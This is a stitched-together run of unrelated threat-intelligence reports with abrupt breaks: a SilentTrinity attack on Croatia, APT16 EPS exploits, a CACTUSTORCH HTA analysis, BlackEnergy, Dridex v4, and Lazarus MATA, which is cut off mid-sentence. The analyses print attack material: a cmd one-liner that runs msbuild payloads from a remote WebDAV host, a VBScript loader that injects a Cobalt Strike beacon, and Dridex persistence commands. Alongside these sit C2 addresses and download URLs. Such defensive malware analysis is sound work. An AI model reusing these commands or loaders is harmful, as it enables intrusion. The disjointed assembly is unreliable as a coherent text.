(UTC) - Last saved: 2019-04-02 08:23:28 (UTC) (~ +16 hours) - First VT submission: 2019-04-02 16:52:56 (UTC) (~ +7 hours) - Country: HR (Croatia) - Last modified by: Luzer - Comments: ```cmd cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"):objShell.Run "C:\windows\system32\cmd.exe /c net use \\176.105.255.59\webdav",0:Wscript.Sleep 60000: objShell.Run "%windir%\Microsoft.Net\Framework\v4.0.30319\msbuild.exe \\176.105.255.59\webdav\msbuild.xml", 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs ``` - MSBuild inline technique ## Attack Infrastructure - Domains under WhoisGuard, Inc. (Panama) privacy protection | Domain | Registered On | Mimics to | Industry | |------------------------|---------------|--------------------|--------------------| | konzum.win | 2018-05-25 | konzum.hr | Retail | | postahr.online | 2018-08-22 | posta.hr | Postal services | | posteitaliane.live | 2019-01-16 | posteitaliane.it | Postal services | | postahr.vip | 2019-02-06 | posta.hr | Postal services | - IPs related to Breezle LLC hosting provider (Amsterdam, Netherlands) - 176.105.254.52 - 176.105.255.59 - 93.170.105.32 ## Takeaways - News of an attack: 2019-04-03 - Victims: Croatian government departments - How to defend? - Application control over trusted software (certutil, regsvr32, msbuild, net, wmic …) - Inspection of links in the mail - Periodic memory scans - Completely open-source but powerful and effective kill chain - The first SilentTrinity framework abuse we know - Metasploit, Empire, Koadic … pros for red teams and cons for defenders ## IOCs - 13db33c83ee680e0a3b454228462e73f - 0adb7204ce6bde667c5abd31e4dea164 - 831b08d0c650c8ae9ab8b4a10a199192 - 79e72899af1e50c18189340e4a1e46e0 - 92530d1b546ddf2f0966bbe10771521f - 78184cd55d192cdf6272527c62d2ff89 - c84b7c871bfcd346b3246364140cd60f - 176.105.254.52 - postahr.online - 93.170.105.32 - geomeny.bid # Thank You! **Alexey Vishnyakov** [email protected]
# The EPS Awakens - Part 2 **December 20, 2015** | by Ryann Winters, FireEye Threat Intelligence | Threat Research, Targeted Attack On Wednesday, Dec. 16, 2015, FireEye published *The EPS Awakens*, detailing an exploit targeting a previously unknown Microsoft Encapsulated Postscript (EPS) dict copy use-after-free vulnerability that was silently patched by Microsoft on November 10, 2015. The blog described the technical details of the vulnerability, and the steps needed to bypass the EPS filter and obtain full read and write access to the system memory. In this follow-up blog, we discuss the operational details of the spear phishing campaigns associated with the exploit. Specifically, we detail the lures, attachments, targeting, and malware, and examine the China-based advanced persistent threat (APT) group responsible for one of the observed attacks. Between November 26, 2015, and December 1, 2015, known and suspected China-based APT groups launched several spear phishing attacks targeting Japanese and Taiwanese organizations in the high-tech, government services, media, and financial services industries. Each campaign delivered a malicious Microsoft Word document exploiting the aforementioned EPS dict copy use-after-free vulnerability, and the local Windows privilege escalation vulnerability CVE-2015-1701. The successful exploitation of both vulnerabilities led to the delivery of either a downloader that we refer to as IRONHALO, or a backdoor that we refer to as ELMER. On November 26, 2015, a suspected China-based APT group sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies. The emails originated from the Yahoo! email address [email protected] and contained the subject “新年号巻頭言の送付” (Google Translation: Sending of New Year No. Foreword). Each phishing message contained the same malicious Microsoft Word attachment. The malicious attachment resembled an article hosted on a legitimate Japanese defense-related website, as both discussed national defense topics and carried the same byline. The lure documents also used the Japanese calendar, as indicated by the 27th year in the Heisei period. This demonstrates that the threat actors understand conventional Japanese date notation. Following the exploitation of the EPS and CVE-2015-1701 vulnerabilities, the exploit payload drops either a 32-bit or 64-bit binary containing an embedded IRONHALO malware sample. IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded payload from a hard-coded command-and-control (CnC) server and uniform resource locator (URL) path. The encoded payload is written to a temporary file, decoded, and executed in a hidden window. The encoded and decoded payloads are written to files named `igfxHK[%rand%].dat` and `igfxHK[%rand%].exe` respectively, where [%rand%] is a 4-byte hexadecimal number based on the current timestamp. IRONHALO persists by copying itself to the current user’s Startup folder. This variant sends an HTTP request to a legitimate Japanese website using a malformed User-Agent string. The threat actors likely compromised the legitimate site and attempted to use it as a staging server for second-stage payloads. On December 1, 2015, threat actors launched two additional spear phishing attacks exploiting the undisclosed EPS vulnerability and CVE-2015-1701. Unlike the Nov. 26 campaign, these attacks targeted Taiwanese governmental and media and entertainment organizations. Moreover, the exploit dropped a different malware payload, a backdoor we refer to as ELMER. The first spear phishing message was sent to a Taiwanese governmental employee on Dec. 1. The attachment was created using the traditional Chinese character set and contained a flowchart that appeared to be taken from the legitimate Taiwanese government auction website. The second December spear phishing attack targeted Taiwan-based news media organizations. The emails originated from the address [email protected] and contained the subject DPP's Contact Information Update. Based on the email address naming convention and message subject, the threat actors may have tried to make the message appear to be a legitimate communication from the Democratic Progressive Party (DPP), Taiwan’s opposition party. Unlike the previous exploit documents, this malicious attachment did not contain any visible text when opened in Microsoft Word. The exploit documents delivered during the December campaigns dropped a binary containing an embedded variant of a backdoor we refer to as ELMER. ELMER is a non-persistent proxy-aware HTTP backdoor written in Delphi, and is capable of performing file uploads and downloads, file execution, and process and directory listings. To retrieve commands, ELMER sends HTTP GET requests to a hard-coded CnC server and parses the HTTP response packets received from the CnC server for an integer string corresponding to the command that needs to be executed. The ELMER variant `6c33223db475f072119fe51a2437a542` beaconed to the CnC IP address `121.127.249.74` over port 443. However, the ELMER sample `0b176111ef7ec98e651ffbabf9b35a18` beaconed to the CnC domain `news.rinpocheinfo.com` over port 443. Both samples used the hard-coded User-Agent string “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)”. While attribution of the first two spear phishing attacks is still uncertain, we attribute the second December phishing campaign to the China-based APT group that we refer to as APT16. This is based on the use of the known APT16 domain `rinpocheinfo.com`, as well as overlaps in previously observed targeting and tactics, techniques, and procedures (TTPs). Taiwanese citizens will go to the polls on January 16, 2016, to choose a new President and legislators. According to recent opinion polls, the Democratic Progressive Party (DPP) candidate Tsai Ing-wen is leading her opponents and is widely expected to win the election. The DPP is part of the pan-green coalition that favors Taiwanese independence over reunification with the mainland, and the party’s victory would represent a shift away from the ruling Kuomintang’s closer ties with the PRC. Since 1949, Beijing has claimed Taiwan as a part of China and strongly opposes any action toward independence. The Chinese government is therefore concerned whether a DPP victory might weaken the commercial and tourism ties between China and Taiwan, or even drive Taiwan closer to independence. In 2005, the Chinese government passed an “anti-secession” law that signified its intention to use “non-peaceful” means to stymie any Taiwanese attempt to secede from China. APT16 actors sent spear phishing emails to two Taiwanese media organization addresses and three webmail addresses. The message subject read “DPP’s Contact Information Update”, apparently targeting those interested in contact information for DPP members or politicians. The Chinese government would benefit from improved insight into local media coverage of Taiwanese politics, both to better anticipate the election outcome and to gather additional intelligence on politicians, activists, and others who interact with journalists. This tactic is not without precedent; in 2013, the New York Times revealed it had been the target of China-based actors shortly after it reported on the alleged mass accumulation of wealth by then-Prime Minister Wen Jiabao and his family. The actors likely sought information on the newspaper’s sources in China, who could be silenced by the government. Compromising these Taiwanese news organizations would also allow the actors to gain access to informants or other protected sources, who might then be targeted for further intelligence collection or even retribution. The webmail addresses, while unknown, were possibly the personal-use addresses of the individuals whose corporate domain emails were targeted. As corporate networks become more secure and users become more vigilant, personal accounts can still offer a means to bypass security systems. This tactic exploits users’ reduced vigilance when reading their own personal email, even when using corporate IT equipment to do so. On the same date that APT16 targeted Taiwanese media, suspected Chinese APT actors also targeted a Taiwanese government agency, sending a lure document that contained instructions for registration and subsequent listing of goods on a local Taiwanese auction website. It is possible, although not confirmed, that APT16 was also responsible for targeting this government agency, given both the timeframe and the use of the same n-day to eventually deploy the ELMER backdoor. One of the media organizations involved in this latest activity was targeted in June 2015, while its Hong Kong branch was similarly targeted in August 2015. APT16 actors were likely also responsible for the June 2015 activity. They sent spear phishing messages with the subject “2015 Taiwan Security and Cultural Forum Invitation Form” (2015台灣安全文化論壇邀請函), and used a different tool – a tool that we refer to as DOORJAMB – in their attempt to compromise the organization. A different group, known as admin@338, used LOWBALL malware during its Hong Kong activity. Despite the differing sponsorship, penetration of Hong Kong- and Taiwan-based media organizations continues to be a priority for China-based threat groups. The difference in sponsorship could be the result of tasking systems that allocate targeting responsibility to different groups based on their targets’ geographic location. In other words, while media organizations are important targets, it is possible that two separate groups are responsible for Hong Kong and Taiwan, respectively. The suspected APT16 targeting of the Taiwanese government agency – in addition to the Taiwanese media organizations – further supports this possibility. These clusters of activity raise interesting questions about the use of an identical silently-patched vulnerability, possibly by multiple threat groups. Both Japan and Taiwan are important intelligence collection targets for China, particularly because of recent changes to Japan’s pacifist constitution and the upcoming Taiwanese election. Based on our visibility and available data, we only attribute one campaign to the Chinese APT group APT16. Nonetheless, the evidence suggests the involvement of China-based groups.
# Behind the Breaches: Mapping Threat Actors and Their CVE Exploits **ThreatMon** March 2, 2023 Tags: apt, breaches, cve, data breach, mapping, threat actors
# Analyzing a CACTUSTORCH HTA Leading to Cobalt Strike There are loads of different ways adversaries can distribute Cobalt Strike beacons and other malware. One of the common methods includes using HTML Application (HTA) files. In this post, I’m going to look at a malicious HTA file created using CACTUSTORCH and designed to distribute a Cobalt Strike beacon. ## Triaging the File MalwareBazaar tags say the file is a HTA, and we can use `file` and `head` to confirm this. ```bash remnux@remnux:~/cases/hta-cs$ file 1234.hta 1234.hta: HTML document, ASCII text, with very long lines, with CRLF line terminators remnux@remnux:~/cases/hta-cs$ head -c 100 1234.hta <script language="VBScript"> Dim binary : binary = "notepad.exe" Dim code : code = "TVroAAAAAFuJ31 ``` Alrighty then, it looks like `file` thinks the sample is a HTML document (containing HTML tags). The `head` command shows us the first 100 bytes here, and it looks like the file does contain at least one `script` HTML tag. Let’s take a look at the content! ## Analyzing the HTA Content I’ve included the contents of the HTA below, truncating a lot of base64 code that was included so we can see the good stuff. ```vbscript <script language="VBScript"> Dim binary : binary = "notepad.exe" Dim code : code = "TVroAAAAAFuJ31J..." Sub Debug(s) End Sub Sub SetVersion End Sub Function Base64ToStream(b) Dim enc, length, ba, transform, ms Set enc = CreateObject("System.Text.ASCIIEncoding") length = enc.GetByteCount_2(b) Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform") Set ms = CreateObject("System.IO.MemoryStream") ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3) ms.Position = 0 Set Base64ToStream = ms End Function Sub Run Dim s, entry_class s = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy" s = s & "AwAAAAhEZWx..." entry_class = "cactusTorch" Dim fmt, al, d, o Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") Set al = CreateObject("System.Collections.ArrayList") al.Add fmt.SurrogateSelector Set d = fmt.Deserialize_2(Base64ToStream(s)) Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class) o.flame binary, code End Sub On Error Resume Next Run If Err.Number <> 0 Then Debug Err.Description Err.Clear End If self.close </script> ``` When looking at the sample, there are a few things that stand out. First, there are two large chunks of base64 code in the file. The filesize of the HTA is around 287 KiB, which is really hefty for a text file. When you have plaintext files that large, we can usually assume there are obfuscation schemes or binary/shellcode content embedded. In this case, the strings and variable names are too neat and not scrambled, so obfuscation is out. The first base64 chunk starts with `TVro`, which decodes to a `MZ` header seen with Windows EXEs. The second big thing that stands out is `binary = "notepad.exe"`. This is a quick and simple indicator for our analysis. Process names like this in malicious code typically mean that the malicious binary content will be saved and executed as the process name or injected into a process of the same name. If the name is a legitimate Windows binary, I tend to lean toward the latter case of injection. Finally, `entry_class = "cactusTorch"` is significant. This line of code leads us to the CACTUSTORCH project’s HTA template. CACTUSTORCH is a project to embed Cobalt Strike beacons into script content such as HTA and VBS files. Thankfully, the template gives us a head start on analysis. The second base64 chunk is static content, and the first looks to be variable content containing the actual payload. With that in mind, let’s extract the payload. ## Decoding the Payload To decode the payload, we can place all the base64 content into its own file and then use the `base64 -d` command to get the cleartext payload. ```bash remnux@remnux:~/cases/hta-cs$ cat payload.b64 | base64 -d > payload.bin remnux@remnux:~/cases/hta-cs$ file payload.bin payload.bin: MS-DOS executable PE32 executable (DLL) (GUI) Intel 80386, for MS Windows remnux@remnux:~/cases/hta-cs$ md5sum payload.bin 86a7eaba09313ab6b4a01a5e6d573acc payload.bin ``` By searching for the MD5 hash on VirusTotal, we can see someone’s already reported the beacon executable content, and a load of vendors detect it as Cobalt Strike. Let’s squeeze some more indicators from this beacon using `1768.py`: ```bash remnux@remnux:~/cases/hta-cs$ 1768.py payload.bin File: payload.bin payloadType: 0x10014a34 payloadSize: 0x00000000 intxorkey: 0x00000000 id2: 0x00000000 Config found: xorkey b'.' 0x0002fe20 0x00033000 0x0001 payload type 0x0001 0x0002 0 windows-beacon_http-reverse_http 0x0002 port 0x0001 0x0002 12342 0x0003 sleeptime 0x0002 0x0004 60000 0x0004 maxgetsize 0x0002 0x0004 1048576 0x0005 jitter 0x0001 0x0002 0 0x0006 maxdns 0x0001 0x0002 255 0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d00308189028181009352527b27bf73fcc92457cf8cb1894ebd1104da185d18dceb28f159d74958d0ae657a003 0x0008 server,get-uri 0x0003 0x0100 '42.193.229.33,/j.ad' 0x0009 useragent 0x0003 0x0080 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' 0x000a post-uri 0x0003 0x0040 '/submit.php' 0x000b Malleable_C2_Instructions 0x0003 0x0100 Transform Input: [7:Input,4] Print 0x000c http_get_header 0x0003 0x0100 Build Metadata: [7:Metadata,3,6:Cookie] BASE64 Header Cookie 0x000d http_post_header 0x0003 0x0100 Const_header Content-Type: application/octet-stream Build SessionId: [7:SessionId,5:id] Parameter id Build Output: [7:Output,4] Print 0x000e SpawnTo 0x0003 0x0010 (NULL ...) 0x001d spawnto_x86 0x0003 0x0040 '%windir%\\syswow64\\rundll32.exe' 0x001e spawnto_x64 0x0003 0x0040 '%windir%\\sysnative\\rundll32.exe' 0x000f pipename 0x0003 0x0080 (NULL ...) 0x001f CryptoScheme 0x0001 0x0002 0 0x0013 DNS_Idle 0x0002 0x0004 0 0.0.0.0 0x0014 DNS_Sleep 0x0002 0x0004 0 0x001a get-verb 0x0003 0x0010 'GET' 0x001b post-verb 0x0003 0x0010 'POST' 0x001c HttpPostChunk 0x0002 0x0004 0 0x0025 license-id 0x0002 0x0004 305419896 0x0026 bStageCleanup 0x0001 0x0002 0 0x0027 bCFGCaution 0x0001 0x0002 0 0x0036 HostHeader 0x0003 0x0080 (NULL ...) 0x0032 UsesCookies 0x0001 0x0002 1 0x0023 proxy_type 0x0001 0x0002 2 IE settings 0x0037 EXIT_FUNK 0x0001 0x0002 0 0x0028 killdate 0x0002 0x0004 0 ``` The most actionable indicators from this output are: - server,get-uri ‘42.193.229.33,/j.ad’ - port 12342 - useragent ‘Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)’ - post-uri ‘/submit.php’ - spawnto_x86 ‘%windir%\syswow64\rundll32.exe’ - spawnto_x64 ‘%windir%\sysnative\rundll32.exe’ The server, get-uri, set-uri, port, and useragent fields are pretty helpful for network-based detection telemetry. You can use PCAP, logs, or Netflow evidence to spot one or more of these components. The useragent and post-uri fields will need to be combined with additional data to be effective. The spawnto_* fields are helpful for endpoint-based detection telemetry. You can use Sysmon, EDR, or whatever else to look for suspicious instances of `rundll32.exe` with no command line. For this particular threat, we’ll likely see a process ancestry of `mshta.exe -> notepad.exe -> rundll32.exe`. A data point that is less actionable but still interesting is the license-id/watermark. In this case, the beacon contains the license-id value `305419896`. This value has been seen in multiple incidents over the last few years, and it corresponds with a leaked version of Cobalt Strike. Now that we’ve squeezed all those indicators out of the beacon, let’s try and confirm the process ancestry for endpoint detection analytics. ## Using a Sandbox Report to Confirm Behavior Thankfully, a sandbox report for the HTA already exists thanks to VMRay: Looking over at the “Behavior” tab, we can confirm at least part of the ancestry: So for detection analytics, we can look for instances of `notepad.exe` spawning from `mshta.exe` to find suspicious behavior for this threat. Thanks for reading!
# CVE‑2014‑4114: Details on August BlackEnergy PowerPoint Campaigns In this post, we provide additional information on how a specially crafted PowerPoint slideshow file (.PPSX) led to the execution of a BlackEnergy dropper. At the Virus Bulletin conference that took place in Seattle last month, we talked about how the BlackEnergy trojan has evolved into a malicious tool used for espionage in Ukraine and Poland. In our last post on the subject, we mentioned the following malware spreading vectors used in BlackEnergy campaigns this year: - Microsoft Word documents containing exploits, e.g. the CVE-2014-1761 vulnerability - Executables with a Microsoft Word icon, to lure the victim into opening them - Exploitation of Java - Installation through the Team Viewer remote control software - Microsoft PowerPoint documents containing the CVE-2014-4114 vulnerability In the August 2014 campaigns, a number of potential victims received spear-phishing emails. The gist of the email’s Ukrainian text is that the Prime Minister of Ukraine, Arseniy Yatsenyuk, is instructing the Prosecutor General’s Office, the Security Service of Ukraine, Ministry of Internal Affairs, and Ministry of Justice to check members of the parliament, parties, and NGOs in Ukraine for any involvement in the support of rebels in the East of Ukraine and that a list of potential terrorist supporters is attached. If the recipient took the bait and opened the PPSX attachment, they would see what they’d expect from the email description – a list of names. What was more important, however, was what was happening in the background. The PowerPoint package contained two embedded OLE objects, each with a remote path where the resource is located. The two files were named slide1.gif and slides.inf. It is a feature of Microsoft PowerPoint to load these files, but it turned out to be a dangerous one, since the objects could be downloaded from an arbitrary untrustworthy network location and executed with none of the warning pop-ups addressed in the MS12-005 patch. So what were the two downloaded files? The .gif file was not an image but, in fact, a camouflaged BlackEnergy Lite dropper. .INF files are executable and typically used to install device drivers. In this particular instance, the .INF file’s job was to rename the BlackEnergy dropper from slide1.gif to slide1.gif.exe and execute it using a simple Windows Registry entry. Functionally similar exploits have been known since at least 2012 but have not been widely abused. After seeing this one actively used by malware in-the-wild, ESET reported it to Microsoft on September 2nd, 2014. Now that the vulnerability has been recognized as CVE-2014-4114 and Microsoft created a patch for it, we strongly encourage all users to close this infection vector by updating as soon as possible.
# Malware Report: “Dridex Version 4” ## 1. Executive Summary The present document gathers analysis of a new variant of harmful code called “Dridex”, specifically the fourth version. Dridex is a banking Trojan famous for its sophistication and its ability to go undetected on the devices it infects. These devices, once infected, are incorporated onto a modular botnet, at which point malicious characteristics, whether external or their own, can be freely added to them, via modules or libraries. The first version appeared toward the end of 2014. At the beginning of 2015, a new, important update was launched, giving way to a second version. When looking at the earlier versions of Dridex, the most stable and resistant of them was the third, which was launched in April 2015 and was used in well-known cyberattacks up until the fourth version, the latest known version and subject of this report, which was found in February of 2017. No new major updates for Dridex had been found since the dismantlement of important components of the botnet, carried out by government agencies in 2015. This new variant of the banking Trojan incorporates new functionalities. One of these is called AtomBombing, a functionality whose aim is to inject code without calling suspicious APIs to avoid being detected by monitoring systems. It incorporates the DLL hijacking technique to achieve persistence. Finally, various cryptographic methods were optimized and used to obtain the configuration. ## 2. Characteristics of the Trojan The following are some static properties of the analysed file. The hash of the Trojan: MD5: 001fcf14529ac92a458836f7cec03896 SHA256: a6db7759c737cbf6335b6d77d43110044ec049e8d4cbf7fa9bd4087fa7e415c7 The internal date of creation of the analyzed sample is May 16, 2017. The file in question was compiled to be executed in 64 bit environments and, at the same time, simulate the legitimate dll of Microsoft. Additionally, it is encrypted with a distinctive algorithm to avoid detection by antiviruses. It has been observed that the executable has a fairly high number of sections, 11 in total. In the DATA section, we can observe that the entropy is at 7.799, and is fairly large in size. It is in this section that the highly encrypted and packaged binary (which, once decrypted, becomes the real malicious code) can be found. In the first decrypted layer, the executable stores memory in the process, then copies the code and, finally, summons it and runs it. The first thing the code does is to obtain the addresses of the functions that it will eventually be using. It does this with a dynamic search through the libraries downloaded by the program. To carry out this task, it runs through the PEB_LDR_DATA structure and the LDR-MODULE structures to locate the base address of the loaded dlls. It proceeds to access the offset of the export table in order to run through all of the functions exported by the dll and find the address of the sought function in the computer’s memory. The shellcode, in turn, checks to see whether there is a hook in the undocumented LdrLoadDll function, accessing its address and checking whether the first byte is the same as E9, the equivalent of a jmp assembler. If the previous verification was successful, it proceeds to demap the dll memory process with the name “snxhk.dll” which is an Avast and AVG library that creates hooks to monitor processes happening in the sandbox. Finally, the shellcode decrypts the executable found in the DATA section in the computer’s memory, copies it into the base image’s address, and then runs the new resulting executable. ## 3. Infection Process ### 3.1. Infection Vectors The infection of the device is not clearly understood. It may come by way of an exploit kit or spam campaign. ### 3.2. Interactions with the Affected System Once it is run, the Trojan will proceed to verify if it is the only instance of malware running on the device, as well as to verify if it has already been injected in the explorer.exe process. All of this is carried out by creating and opening a mutex. In order to achieve this, it first strings together the device name and the username, then calculates its MD5 hash. Next, it adds brackets to the beginning and the end, and separates it with hyphens, similar to a COM object. Using this algorithm, it may be possible to develop a vaccine that creates these mutexes in systems to avoid infection by Dridex. Malware that is not running creates a folder in %WINDOWS%\system32\[0-9]{4]. The malware copies a legitimate .exe into the folder along with an associated .dll or .cpl. This .dll or .cpl is not legitimate — it’s a Trojan. Upon running the .exe from the folder, the malicious .dll or .cpl will load via a technique known as hijacking. It also programs a task with a randomized name (“Domitxtdoi” in our example), which will run every 60 minutes. In this example, we see that the tcmsetup.exe runs so that the malicious .dll, TAPI32.dll, loads, thus beginning the infection process. After programming the task, it launches a series of commands: it creates a rule in the firewall for explorer.exe, which is where it will be injected: ``` netsh advfirewall firewall add rule name="Core Networking - Multicast Listener Done (ICMPv4-In)" program="C:\Windows\Explorer.EXE" dir=in action=allow protocol=TCP localport=any ``` Creation of the malicious task: ``` schtasks.exe /Create /F /TN "Utdcm" /SC minute /MO 60 /TR "C:\Windows\system32\3007\tcmsetup.exe" /RL highest ``` During this process, the malicious .dll will have been injected into the explorer.exe process using the AtomBombing technique. It will then wait for the user to open a browser like Internet Explorer, Firefox, Chrome, etc. The moment the user opens a browser, a new shellcode will be injected from explorer.exe to the browser using the same AtomBombing technique. ## 4. Persistence in the System To ensure its persistence in the system, it carries out the following actions. It creates a folder with four random numbers on C:\Windows\System32, inside of which it copies a legitimate Windows executable (not always the same one) and a .dll that it knows will be loaded by the executable. This .dll will be modified with the harmful code. This technique is known as DLL hijacking. It takes advantage of the command that allows the system to search libraries/files that it’s going to load/use. In the case of the image above, the executable "SystemPropertiesPerformance.exe" will load "SYSDM.CPL" among other libraries. By default, the first place that it will search for the "SYSDM.CPL" file will be in the directory where the application is running, in this case C:\Windows\System32\1365. If it does not find it, it will look it up on other routes depending on how the search order of .dlls in the system is set. When it copies an executable and a modified .dll in the same directory, Dridex’s aim is to raise as little suspicion as possible, since its malicious actions are carried out by way of a legitimate program. To execute the file, it creates a scheduled task to run it in the random number folder (C:\Windows\System32\1365) every hour, as indicated in the previous section. As already mentioned, the folder is composed of four random numbers, and the executable it creates is not always the same, just like the .dll, so it is aware of which executable loads which library at all times, and is able to modify said library with harmful code. Going further in our analysis, we see that it acts in the following manner: 1. It will list all executables in the folder "C:\Windows\System32\". 2. It will hash the name of each executable and compare it with a value that has been previously saved. If it matches, it will remain with that executable (in each execution that the hash is different). 3. It will read the IAT of the selected executable and from there choose a .dll for eventual hijacking. 4. It will read the IAT of the .dll selected in point 3. 5. It will make a copy of the malicious code (the .dll itself) and add a section at the end with a random name to copy the IAT obtained in point 4. 6. It will copy both the selected executable (3) and the modified malicious .dll (5) into a random folder. In this way it obtains persistence in the system and every time that file is executed it will load the malicious .dll. The malware will also create a copy of itself in executable format along with a registry key in the AppData\Roaming\[random folder name] with the route in "HKCU\Software\Microsoft\Windows\CurrentVersion\Run". ## 5. Injection via AtomBombing Dridex uses the AtomBombing technique to write a shellcode in other processes without raising suspicions. It achieves this through APC calls and one of the most used Windows Executive Objects, called Atoms. Below are the different phases of injection into another process. ### 5.1. Search for the target process The target process in this case is explorer.exe, and to inject into it, it must first be accessed in order to perform an enumeration of the processes involved, making use of functions such as the following: Once it finds the process explorer.exe, it calls the OpenProcess function to begin enumerating alertable threads. ### 5.2. Search for alertable threads At this point, the malware will try to find some thread in an alertable state, as this will allow it to make APC calls in order to execute code in the target process. To find an alertable thread, it first obtains a handle for each thread in explorer.exe. It will then launch a call to NtQueueApcThread as NtSetEvent and wait for any of the threads to respond. If it works correctly, it will obtain the first thread that answers the call and start with the injection. ### 5.3. Injection of shellcode in the target process First, the malicious .dll makes a call to GlobalAddAtomW and creates a new Atom with the content it wishes to inject in the target process, in this case explorer.exe. Second, the malicious .dll calls the NtQueueApcThread and sends as a parameter the function to be run by explorer.exe. The first time this is done, it makes a call to memset to make sure that the zone where it will write the shellcode is at 0. It is important to indicate that the zone that Dridex has chosen for copying the shellcode is in ntdll. This is because ntdll is always loaded on the same offset in all processes, regardless of the ASLR. In the following iterations the function passed as parameter of NtQueueApcThread will be GlobalAtomGetAtomNameW, which will cause the target process to get the Atom that just created the malicious .dll and write it in the indicated zone, in such a way that it will write its contents inside the explorer.exe without raising suspicions. First it will create an IAT for the shellcode. And after several iterations it will copy the shellcode in explorer.exe completely. ### 5.4. Execution of the shellcode in the target process Once the shellcode is copied to the explorer, it must be executed. To do this, Dridex modifies the GlobalAtomGetAtomNameA function in the same way that it has injected the shellcode, using Atoms. After the modification, from the malicious .dll, a call will be made to GlobalAtomGetAtomNameA using NtQueueApcThread. At this point the shellcode will start executing. After this, GlobalAtomGetAtomNameA is returned to its original state, to avoid suspicion. ## 6. Network Connections The Trojan, once it has been injected into the explorer.exe process, opens port 443 (usually used for the HTTPS protocol) and waits for some connection. ## 7. IOCs To check if a computer has been compromised by this version of Dridex, the following points should be considered: - The explorer.exe process has port 443 listening and there is a firewall rule in place allowing network traffic for that process. - Directories that match the expression %SYSTEM%\[0-9]{4}, and contain a legitimate executable next to a .dll or .cpl file. - Scheduled tasks that execute a file in path %SYSTEM%\[0-9]{4} in periods of 60 minutes.
# Updated MATA Attacks on Industrial Companies in Eastern Europe ## Executive Summary In early September 2022, Kaspersky experts discovered several detections of malware from the MATA cluster, previously attributed to the Lazarus group, compromising defense contractor companies in Eastern Europe. This campaign remained active until May 2023. Expanding our research scope, we investigated and discovered additional, new, active actor campaigns with full-infection chains, including an implant designed to work within air-gapped networks over USB sticks, as well as a Linux MATA backdoor. The updated MATA malware was distributed via spear-phishing techniques to target victims, deploying malware over multiple stages using validators. The actor also abused various security and anti-malware solutions the victims used, in the process of propagating within their environment. The new MATA generation 3 and generation 4 introduced several modifications to its encryption, configuration, and communication protocols, and one of them appears to have been rewritten from scratch. The new MATA generations incorporate new functionalities in terms of circumventing network limitations, allowing the actor to build complex proxy chains within the victims’ network as well as creating a 'stack' of various communication protocols to be used for C2 (Command and Control) communications. During this research, we also discovered a new MATA variant we dubbed MATA generation 5. This sophisticated malware, which has been completely rewritten from scratch, exhibits an advanced and complex architecture making use of loadable and embedded modules and plugins. MATA gen.5 is capable of functioning as both a service and a DLL within different processes. The malware leverages Inter-Process Communication (IPC) channels internally and employs a diverse range of commands, enabling it to establish proxy chains across various protocols - also within the victim's environment. ## Attack Detection In September 2022, Kaspersky experts monitoring the telemetry of security solutions using Kaspersky Security Network detected several dozen previously unknown malware samples associated with the MATA cluster. We detailed this malware platform in 2020 and have documented its use in APT attacks on multiple occasions over the past few years. In particular, the malware samples that caught our attention contained strings indicating an organization that may have been the victim of the attack, which looked like an industrial entity in Eastern Europe. We immediately contacted the organization that was likely to have been attacked to communicate the risk of compromise and share information about the detected threat and the Indicators of Compromise available at the time. After some time, we received a call from an employee of that organization informing us that they had detected connections to the domain controller using the account of one of the administrators, which they considered "suspicious" – the administrator in question said that he did not connect to the domain controller. So we started investigating an incident in this organization's network that turned out to be just the beginning of a bigger story. ## In-Lab Analysis: Technical Details – Part 1 Meanwhile, as we were collecting and analyzing the relevant telemetry data in the lab, we realized the campaign had been launched in mid-August 2022. The attackers used spear-phishing techniques to target several victims, while others were infected with Windows executable malware by downloading files through an internet browser. The attackers continued to send malicious documents via email until the end of September. After analyzing the timeline and functionality of each malware, we have determined the infection chain of this campaign. Although some parts remain unknown due to limited visibility, we have pieced together most of the infection chain. The attacker employed a combination of loader, main trojan, and stealer infection chains similar to those used by the previous MATA cluster and updated each malware's capabilities. Moreover, they introduced a process to validate compromised victims to ensure careful malware delivery. The attackers also utilized a user-mode rootkit to elevate privileges and bypass endpoint security products. This added layer of complexity allowed them to operate undetected and achieve their objectives more effectively. ### Initial Infection #1: Malicious Documents From several victims, we observed the actor sending spear-phishing documents. Our investigation revealed that in certain instances, the attackers were impersonating legitimate employees of the targeted organizations, indicating that they had conducted extensive reconnaissance and gathered sensitive information prior to launching the attacks. The contents of the lure documents were not related to the targeted businesses. The attackers obtained the text in the document from third-party sites available on the internet. The tactic had already been used by Lazarus earlier in attacks on defense industry facilities in 2020. Each document contains an external link to fetch a remote page containing an exploit. According to our analysis, the fetched HTML page contains a CVE-2021-26411 exploit which was previously used by the Lazarus group in their campaign against security researchers. The exploit code is similar to what Enki, a Korean security company, published before. This time, trivial obfuscation was added and the code was modified to fetch the next stage payload (a Loader in this case) rather than spawning shellcode in memory. ### Initial Infection #2: Download Link for Executable One of the victims was compromised by a Windows executable type Downloader. Notably, this malware was fetched by a Chromium-based browser, which means the victim downloaded the malware by clicking a malicious link. We suspect the actor sent a malicious link to the potential victim via email or other messaging platform. This malware has trivial functionality, fetching a payload from a remote server and executing it after 0x30 1-byte XOR decryption. - Download URL: hxxps://zawajonly[.]com/assets/profile.png - Save path: %temp%\systemupdate.dat After spawning the fetched payload, the malware pops up a fake "System Update Finished" message. Based on the file name and message box, we assume the actor deceived the victim into believing that this program is related to a legitimate system update. ### MATA “LLoader” (LLibrary) Several victims were also infected with the Loader malware via the Internet Explorer exploit we mentioned before. Important strings inside the malware are XORed with 1. The Loader has a 'load' export function with simple functionality: fetching the next stage payload from the embedded URL and saving it to the TCD701.dat file. The author named this malware as Loader(LLibrary).dll. - Download URL: 